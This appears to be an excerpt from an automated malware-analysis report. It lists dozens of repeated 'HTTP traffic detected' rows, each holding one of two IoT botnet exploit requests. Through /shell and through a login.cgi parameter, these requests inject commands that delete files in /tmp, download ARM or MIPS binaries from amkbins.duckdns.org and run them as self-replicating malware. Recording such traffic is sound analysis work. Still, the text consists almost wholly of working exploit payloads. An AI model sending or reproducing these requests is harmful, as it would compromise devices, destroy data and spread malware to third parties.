| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-alive |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-alive |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
| Source: global traffic | HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+*;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: */*User-Agent: tbox/2.0 |
Edit tour
